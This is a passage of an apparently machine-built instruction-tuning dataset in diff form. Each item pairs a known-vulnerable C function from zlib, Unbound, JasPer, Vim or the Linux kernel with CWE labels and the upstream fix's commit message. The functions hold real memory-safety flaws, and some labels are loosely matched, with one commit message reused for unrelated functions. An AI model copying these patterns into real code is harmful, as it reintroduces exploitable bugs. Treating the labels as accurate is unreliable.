Z_OK)\n        ret = Z_BUF_ERROR;\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix a bug when getting a gzip header extra field with inflate().\n\nIf the extra field was larger than the space the user provided with\ninflateGetHeader(), and if multiple calls of inflate() delivered\nthe extra header data, then there could be a buffer overflow of the\nprovided space. This commit assures that provided space is not\nexceeded.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: dns64_inform_super(struct module_qstate* qstate, int id,\n\t\tstruct module_qstate* super)\n{\n\tstruct dns64_qstate* super_dq = (struct dns64_qstate*)super->minfo[id];\n\tlog_query_info(VERB_ALGO, \"dns64: inform_super, sub is\",\n\t\t       &qstate->qinfo);\n\tlog_query_info(VERB_ALGO, \"super is\", &super->qinfo);\n\n\t/*\n\t * Signal that the sub-query is finished, no matter whether we are\n\t * successful or not. This lets the state machine terminate.\n\t */\n\tif(!super_dq) {\n\t\tsuper_dq = (struct dns64_qstate*)regional_alloc(super->region,\n\t\t\tsizeof(*super_dq));\n\t\tif(!super_dq) {\n\t\t\tlog_err(\"out of memory\");\n\t\t\tsuper->return_rcode = LDNS_RCODE_SERVFAIL;\n\t\t\tsuper->return_msg = NULL;\n\t\t\treturn;\n\t\t}\n\t\tsuper->minfo[id] = super_dq;\n\t\tmemset(super_dq, 0, sizeof(*super_dq));\n\t\tsuper_dq->started_no_cache_store = super->no_cache_store;\n\t}\n\tsuper_dq->state = DNS64_SUBQUERY_FINISHED;\n\n\t/* If there is no successful answer, we're done. */\n\tif (qstate->return_rcode != LDNS_RCODE_NOERROR\n\t    || !qstate->return_msg\n\t    || !qstate->return_msg->rep) {\n\t\treturn;\n\t}\n\n\t/* Use return code from A query in response to client. */\n\tif (super->return_rcode != LDNS_RCODE_NOERROR)\n\t\tsuper->return_rcode = qstate->return_rcode;\n\n\t/* Generate a response suitable for the original query. */\n\tif (qstate->qinfo.qtype == LDNS_RR_TYPE_A) {\n\t\tdns64_adjust_a(id, super, qstate);\n\t} else {\n\t\tlog_assert(qstate->qinfo.qtype == LDNS_RR_TYPE_PTR);\n\t\tdns64_adjust_ptr(qstate, super);\n\t}\n\n\t/* Store the generated response in cache. */\n\tif ( (!super_dq || !super_dq->started_no_cache_store) &&\n\t\t!dns_cache_store(super->env, &super->qinfo, super->return_msg->rep,\n\t\t0, 0, 0, NULL, super->query_flags))\n\t\tlog_err(\"out of memory\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-613', 'CWE-703'], 'message': '- Fix the novel ghost domain issues CVE-2022-30698 and CVE-2022-30699.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: dns_cache_find_delegation(struct module_env* env, uint8_t* qname, \n\tsize_t qnamelen, uint16_t qtype, uint16_t qclass, \n\tstruct regional* region, struct dns_msg** msg, time_t now)\n{\n\t/* try to find closest NS rrset */\n\tstruct ub_packed_rrset_key* nskey;\n\tstruct packed_rrset_data* nsdata;\n\tstruct delegpt* dp;\n\n\tnskey = find_closest_of_type(env, qname, qnamelen, qclass, now,\n\t\tLDNS_RR_TYPE_NS, 0);\n\tif(!nskey) /* hope the caller has hints to prime or something */\n\t\treturn NULL;\n\tnsdata = (struct packed_rrset_data*)nskey->entry.data;\n\t/* got the NS key, create delegation point */\n\tdp = delegpt_create(region);\n\tif(!dp || !delegpt_set_name(dp, region, nskey->rk.dname)) {\n\t\tlock_rw_unlock(&nskey->entry.lock);\n\t\tlog_err(\"find_delegation: out of memory\");\n\t\treturn NULL;\n\t}\n\t/* create referral message */\n\tif(msg) {\n\t\t/* allocate the array to as much as we could need:\n\t\t *\tNS rrset + DS/NSEC rrset +\n\t\t *\tA rrset for every NS RR\n\t\t *\tAAAA rrset for every NS RR\n\t\t */\n\t\t*msg = dns_msg_create(qname, qnamelen, qtype, qclass, region, \n\t\t\t2 + nsdata->count*2);\n\t\tif(!*msg || !dns_msg_authadd(*msg, region, nskey, now)) {\n\t\t\tlock_rw_unlock(&nskey->entry.lock);\n\t\t\tlog_err(\"find_delegation: out of memory\");\n\t\t\treturn NULL;\n\t\t}\n\t}\n\tif(!delegpt_rrset_add_ns(dp, region, nskey, 0))\n\t\tlog_err(\"find_delegation: addns out of memory\");\n\tlock_rw_unlock(&nskey->entry.lock); /* first unlock before next lookup*/\n\t/* find and add DS/NSEC (if any) */\n\tif(msg)\n\t\tfind_add_ds(env, region, *msg, dp, now);\n\t/* find and add A entries */\n\tif(!find_add_addrs(env, qclass, region, dp, now, msg))\n\t\tlog_err(\"find_delegation: addrs out of memory\");\n\treturn dp;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-613', 'CWE-703'], 'message': '- Fix the novel ghost domain issues CVE-2022-30698 and CVE-2022-30699.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: cmdopts_t *cmdopts_parse(int argc, char **argv)\n{\n\tenum {\n\t\tCMDOPT_HELP = 0,\n\t\tCMDOPT_VERBOSE,\n\t\tCMDOPT_QUIET,\n\t\tCMDOPT_INFILE,\n\t\tCMDOPT_INFMT,\n\t\tCMDOPT_INOPT,\n\t\tCMDOPT_OUTFILE,\n\t\tCMDOPT_OUTFMT,\n\t\tCMDOPT_OUTOPT,\n\t\tCMDOPT_VERSION,\n\t\tCMDOPT_DEBUG,\n\t\tCMDOPT_CMPTNO,\n\t\tCMDOPT_SRGB,\n\t\tCMDOPT_MAXMEM,\n\t\tCMDOPT_LIST_ENABLED_CODECS,\n\t\tCMDOPT_LIST_ALL_CODECS,\n\t\tCMDOPT_ENABLE_FORMAT,\n\t\tCMDOPT_ENABLE_ALL_FORMATS,\n\t};\n\n\tstatic const jas_opt_t cmdoptions[] = {\n\t\t{CMDOPT_HELP, \"help\", 0},\n\t\t{CMDOPT_VERBOSE, \"verbose\", 0},\n\t\t{CMDOPT_QUIET, \"quiet\", 0},\n\t\t{CMDOPT_QUIET, \"q\", 0},\n\t\t{CMDOPT_INFILE, \"input\", JAS_OPT_HASARG},\n\t\t{CMDOPT_INFILE, \"f\", JAS_OPT_HASARG},\n\t\t{CMDOPT_INFMT, \"input-format\", JAS_OPT_HASARG},\n\t\t{CMDOPT_INFMT, \"t\", JAS_OPT_HASARG},\n\t\t{CMDOPT_INOPT, \"input-option\", JAS_OPT_HASARG},\n\t\t{CMDOPT_INOPT, \"o\", JAS_OPT_HASARG},\n\t\t{CMDOPT_OUTFILE, \"output\", JAS_OPT_HASARG},\n\t\t{CMDOPT_OUTFILE, \"F\", JAS_OPT_HASARG},\n\t\t{CMDOPT_OUTFMT, \"output-format\", JAS_OPT_HASARG},\n\t\t{CMDOPT_OUTFMT, \"T\", JAS_OPT_HASARG},\n\t\t{CMDOPT_OUTOPT, \"output-option\", JAS_OPT_HASARG},\n\t\t{CMDOPT_OUTOPT, \"O\", JAS_OPT_HASARG},\n\t\t{CMDOPT_VERSION, \"version\", 0},\n\t\t{CMDOPT_DEBUG, \"debug-level\", JAS_OPT_HASARG},\n\t\t{CMDOPT_CMPTNO, \"cmptno\", JAS_OPT_HASARG},\n\t\t{CMDOPT_SRGB, \"force-srgb\", 0},\n\t\t{CMDOPT_SRGB, \"S\", 0},\n\t\t{CMDOPT_MAXMEM, \"memory-limit\", JAS_OPT_HASARG},\n\t\t{CMDOPT_LIST_ENABLED_CODECS, \"list-enabled-formats\", 0},\n\t\t{CMDOPT_LIST_ALL_CODECS, \"list-all-formats\", 0},\n\t\t{CMDOPT_ENABLE_FORMAT, \"enable-format\", JAS_OPT_HASARG},\n\t\t{CMDOPT_ENABLE_ALL_FORMATS, \"enable-all-formats\", 0},\n\t\t{-1, 0, 0}\n\t};\n\n\tcmdopts_t *cmdopts;\n\tint c;\n\n\tif (!(cmdopts = malloc(sizeof(cmdopts_t)))) {\n\t\tfprintf(stderr, \"error: insufficient memory\\n\");\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tcmdopts->infile = 0;\n\tcmdopts->infmt = -1;\n\tcmdopts->infmt_str = 0;\n\tcmdopts->inopts = 0;\n\tcmdopts->inoptsbuf[0] = '\\0';\n\tcmdopts->outfile = 0;\n\tcmdopts->outfmt = -1;\n\tcmdopts->outfmt_str = 0;\n\tcmdopts->outopts = 0;\n\tcmdopts->outoptsbuf[0] = '\\0';\n\tcmdopts->verbose = 0;\n\tcmdopts->version = 0;\n\tcmdopts->cmptno = -1;\n\tcmdopts->debug = 0;\n\tcmdopts->srgb = 0;\n\tcmdopts->list_codecs = 0;\n\tcmdopts->list_codecs_all = 0;\n\tcmdopts->help = 0;\n\tcmdopts->max_mem = get_default_max_mem_usage();\n\tcmdopts->enable_format = 0;\n\tcmdopts->enable_all_formats = 0;\n\n\twhile ((c = jas_getopt(argc, argv, cmdoptions)) != EOF) {\n\t\tswitch (c) {\n\t\tcase CMDOPT_HELP:\n\t\t\tcmdopts->help = 1;\n\t\t\tbreak;\n\t\tcase CMDOPT_VERBOSE:\n\t\t\tcmdopts->verbose = 1;\n\t\t\tbreak;\n\t\tcase CMDOPT_QUIET:\n\t\t\tcmdopts->verbose = -1;\n\t\t\tbreak;\n\t\tcase CMDOPT_VERSION:\n\t\t\tcmdopts->version = 1;\n\t\t\tbreak;\n\t\tcase CMDOPT_LIST_ENABLED_CODECS:\n\t\t\tcmdopts->list_codecs = 1;\n\t\t\tcmdopts->list_codecs_all = 0;\n\t\t\tbreak;\n\t\tcase CMDOPT_LIST_ALL_CODECS:\n\t\t\tcmdopts->list_codecs = 1;\n\t\t\tcmdopts->list_codecs_all = 1;\n\t\t\tbreak;\n\t\tcase CMDOPT_DEBUG:\n\t\t\tcmdopts->debug = atoi(jas_optarg);\n\t\t\tbreak;\n\t\tcase CMDOPT_INFILE:\n\t\t\tcmdopts->infile = jas_optarg;\n\t\t\tbreak;\n\t\tcase CMDOPT_INFMT:\n\t\t\tcmdopts->infmt_str= jas_optarg;\n\t\t\tbreak;\n\t\tcase CMDOPT_INOPT:\n\t\t\taddopt(cmdopts->inoptsbuf, OPTSMAX, jas_optarg);\n\t\t\tcmdopts->inopts = cmdopts->inoptsbuf;\n\t\t\tbreak;\n\t\tcase CMDOPT_OUTFILE:\n\t\t\tcmdopts->outfile = jas_optarg;\n\t\t\tbreak;\n\t\tcase CMDOPT_OUTFMT:\n\t\t\tcmdopts->outfmt_str = jas_optarg;\n\t\t\tbreak;\n\t\tcase CMDOPT_OUTOPT:\n\t\t\taddopt(cmdopts->outoptsbuf, OPTSMAX, jas_optarg);\n\t\t\tcmdopts->outopts = cmdopts->outoptsbuf;\n\t\t\tbreak;\n\t\tcase CMDOPT_CMPTNO:\n\t\t\tcmdopts->cmptno = atoi(jas_optarg);\n\t\t\tbreak;\n\t\tcase CMDOPT_SRGB:\n\t\t\tcmdopts->srgb = 1;\n\t\t\tbreak;\n\t\tcase CMDOPT_MAXMEM:\n\t\t\tcmdopts->max_mem = strtoull(jas_optarg, 0, 10);\n\t\t\tbreak;\n\t\tcase CMDOPT_ENABLE_FORMAT:\n\t\t\tcmdopts->enable_format = jas_optarg;\n\t\t\tbreak;\n\t\tcase CMDOPT_ENABLE_ALL_FORMATS:\n\t\t\tcmdopts->enable_all_formats = 1;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbadusage();\n\t\t\tbreak;\n\t\t}\n\t}\n\n\twhile (jas_optind < argc) {\n\t\tfprintf(stderr,\n\t\t  \"warning: ignoring bogus command line argument %s\\n\",\n\t\t  argv[jas_optind]);\n\t\t++jas_optind;\n\t}\n\n\tif (cmdopts->version || cmdopts->list_codecs || cmdopts->help) {\n\t\tgoto done;\n\t}\n\n\tif (!cmdopts->outfmt_str && !cmdopts->outfile) {\n\t\tfprintf(stderr, \"error: cannot determine output format\\n\");\n\t\tbadusage();\n\t}\n\ndone:\n\treturn cmdopts;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-401'], 'message': 'fix memory leaks in function cmdopts_parse'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: eval_next_line(char_u *arg, evalarg_T *evalarg)\n{\n    garray_T\t*gap = &evalarg->eval_ga;\n    char_u\t*line;\n\n    if (arg != NULL)\n    {\n\tif (*arg == NL)\n\t    return newline_skip_comments(arg);\n\t// Truncate before a trailing comment, so that concatenating the lines\n\t// won't turn the rest into a comment.\n\tif (*skipwhite(arg) == '#')\n\t    *arg = NUL;\n    }\n\n    if (evalarg->eval_cookie != NULL)\n\tline = evalarg->eval_getline(0, evalarg->eval_cookie, 0,\n\t\t\t\t\t\t\t   GETLINE_CONCAT_ALL);\n    else\n\tline = next_line_from_context(evalarg->eval_cctx, TRUE);\n    if (line == NULL)\n\treturn NULL;\n\n    ++evalarg->eval_break_count;\n    if (gap->ga_itemsize > 0 && ga_grow(gap, 1) == OK)\n    {\n\tchar_u *p = skipwhite(line);\n\n\t// Going to concatenate the lines after parsing.  For an empty or\n\t// comment line use an empty string.\n\tif (*p == NUL || vim9_comment_start(p))\n\t{\n\t    vim_free(line);\n\t    line = vim_strsave((char_u *)\"\");\n\t}\n\n\t((char_u **)gap->ga_data)[gap->ga_len] = line;\n\t++gap->ga_len;\n    }\n    else if (evalarg->eval_cookie != NULL)\n    {\n\tvim_free(evalarg->eval_tofree);\n\tevalarg->eval_tofree = line;\n    }\n\n    // Advanced to the next line, \"arg\" no longer points into the previous\n    // line.\n    evalarg->eval_using_cmdline = FALSE;\n    return skipwhite(line);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'patch 9.0.0225: using freed memory with multiple line breaks in expression\n\nProblem:    Using freed memory with multiple line breaks in expression.\nSolution:   Free eval_tofree later.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: __poll_t psi_trigger_poll(void **trigger_ptr,\n\t\t\t\tstruct file *file, poll_table *wait)\n{\n\t__poll_t ret = DEFAULT_POLLMASK;\n\tstruct psi_trigger *t;\n\n\tif (static_branch_likely(&psi_disabled))\n\t\treturn DEFAULT_POLLMASK | EPOLLERR | EPOLLPRI;\n\n\trcu_read_lock();\n\n\tt = rcu_dereference(*(void __rcu __force **)trigger_ptr);\n\tif (!t) {\n\t\trcu_read_unlock();\n\t\treturn DEFAULT_POLLMASK | EPOLLERR | EPOLLPRI;\n\t}\n\tkref_get(&t->refcount);\n\n\trcu_read_unlock();\n\n\tpoll_wait(file, &t->event_wait, wait);\n\n\tif (cmpxchg(&t->event, 1, 0) == 1)\n\t\tret |= EPOLLPRI;\n\n\tkref_put(&t->refcount, psi_trigger_destroy);\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'psi: Fix uaf issue when psi trigger is destroyed while being polled\n\nWith write operation on psi files replacing old trigger with a new one,\nthe lifetime of its waitqueue is totally arbitrary. Overwriting an\nexisting trigger causes its waitqueue to be freed and pending poll()\nwill stumble on trigger->event_wait which was destroyed.\nFix this by disallowing to redefine an existing psi trigger. If a write\noperation is used on a file descriptor with an already existing psi\ntrigger, the operation will fail with EBUSY error.\nAlso bypass a check for psi_disabled in the psi_trigger_destroy as the\nflag can be flipped after the trigger is created, leading to a memory\nleak.\n\nFixes: 0e94682b73bf (\"psi: introduce psi monitor\")\nReported-by: syzbot+cdb5dd11c97cc532efad@syzkaller.appspotmail.com\nSuggested-by: Linus Torvalds \nAnalyzed-by: Eric Biggers \nSigned-off-by: Suren Baghdasaryan \nSigned-off-by: Peter Zijlstra (Intel) \nReviewed-by: Eric Biggers \nAcked-by: Johannes Weiner \nCc: stable@vger.kernel.org\nLink: https://lore.kernel.org/r/20220111232309.1786347-1-surenb@google.com'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t waiting_for_supplier_show(struct device *dev,\n\t\t\t\t\t struct device_attribute *attr,\n\t\t\t\t\t char *buf)\n{\n\tbool val;\n\n\tdevice_lock(dev);\n\tmutex_lock(&wfs_lock);\n\tval = !list_empty(&dev->links.needs_suppliers)\n\t      && dev->links.need_for_probe;\n\tmutex_unlock(&wfs_lock);\n\tdevice_unlock(dev);\n\treturn sprintf(buf, \"%u\\n\", val);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'drivers core: Use sysfs_emit and sysfs_emit_at for show(device *...) functions\n\nConvert the various sprintf fmaily calls in sysfs device show functions\nto sysfs_emit and sysfs_emit_at for PAGE_SIZE buffer safety.\n\nDone with:\n\n$ spatch -sp-file sysfs_emit_dev.cocci --in-place --max-width=80 .\n\nAnd cocci script:\n\n$ cat sysfs_emit_dev.cocci\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tstrcpy(buf, chr);\n+\tsysfs_emit(buf, chr);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n-\tlen += scnprintf(buf + len, PAGE_SIZE - len,\n+\tlen += sysfs_emit_at(buf, len,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t...\n-\tstrcpy(buf, chr);\n-\treturn strlen(buf);\n+\treturn sysfs_emit(buf, chr);\n}\n\nSigned-off-by: Joe Perches \nLink: https://lore.kernel.org/r/3d033c33056d88bbe34d4ddb62afd05ee166ab9a.1600285923.git.joe@perches.com\nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t pm_qos_no_power_off_show(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tchar *buf)\n{\n\treturn sprintf(buf, \"%d\\n\", !!(dev_pm_qos_requested_flags(dev)\n\t\t\t\t\t& PM_QOS_FLAG_NO_POWER_OFF));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'drivers core: Use sysfs_emit and sysfs_emit_at for show(device *...) functions\n\nConvert the various sprintf fmaily calls in sysfs device show functions\nto sysfs_emit and sysfs_emit_at for PAGE_SIZE buffer safety.\n\nDone with:\n\n$ spatch -sp-file sysfs_emit_dev.cocci --in-place --max-width=80 .\n\nAnd cocci script:\n\n$ cat sysfs_emit_dev.cocci\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tstrcpy(buf, chr);\n+\tsysfs_emit(buf, chr);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n-\tlen += scnprintf(buf + len, PAGE_SIZE - len,\n+\tlen += sysfs_emit_at(buf, len,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t...\n-\tstrcpy(buf, chr);\n-\treturn strlen(buf);\n+\treturn sysfs_emit(buf, chr);\n}\n\nSigned-off-by: Joe Perches \nLink: https://lore.kernel.org/r/3d033c33056d88bbe34d4ddb62afd05ee166ab9a.1600285923.git.joe@perches.com\nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t print_cpus_nohz_full(struct device *dev,\n\t\t\t\t  struct device_attribute *attr, char *buf)\n{\n\treturn sprintf(buf, \"%*pbl\\n\", cpumask_pr_args(tick_nohz_full_mask));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'drivers core: Use sysfs_emit and sysfs_emit_at for show(device *...) functions\n\nConvert the various sprintf fmaily calls in sysfs device show functions\nto sysfs_emit and sysfs_emit_at for PAGE_SIZE buffer safety.\n\nDone with:\n\n$ spatch -sp-file sysfs_emit_dev.cocci --in-place --max-width=80 .\n\nAnd cocci script:\n\n$ cat sysfs_emit_dev.cocci\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tstrcpy(buf, chr);\n+\tsysfs_emit(buf, chr);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\tlen =\n-\tscnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nidentifier len;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n-\tlen += scnprintf(buf + len, PAGE_SIZE - len,\n+\tlen += sysfs_emit_at(buf, len,\n\t...);\n\t...>\n\treturn len;\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\nexpression chr;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t...\n-\tstrcpy(buf, chr);\n-\treturn strlen(buf);\n+\treturn sysfs_emit(buf, chr);\n}\n\nSigned-off-by: Joe Perches \nLink: https://lore.kernel.org/r/3d033c33056d88bbe34d4ddb62afd05ee166ab9a.1600285923.git.joe@perches.com\nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t cpu_capacity_show(struct device *dev,\n\t\t\t\t struct device_attribute *attr,\n\t\t\t\t char *buf)\n{\n\tstruct cpu *cpu = container_of(dev, struct cpu, dev);\n\n\treturn sprintf(buf, \"%lu\\n\", topology_get_cpu_scale(cpu->dev.id));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'drivers core: Use sysfs_emit and sysfs_emit_at for show(device *...) functions\n\nConvert the various sprintf fmaily calls in sysfs device show functions\nto sysfs_emit and sysfs_emit_at for PAGE_SIZE buffer safety.\n\nDone with:\n\n$ spatch -sp-file sysfs_emit_dev.cocci --in-place --max-width=80 .\n\nAnd cocci script:\n\n$ cat sysfs_emit_dev.cocci\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsprintf(buf,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\t<...\n\treturn\n-\tsnprintf(buf, PAGE_SIZE,\n+\tsysfs_emit(buf,\n\t...);\n\t...>\n}\n\n@@\nidentifier d_show;\nidentifier dev, attr, buf;\n@@\n\nssize_t d_show(struct device 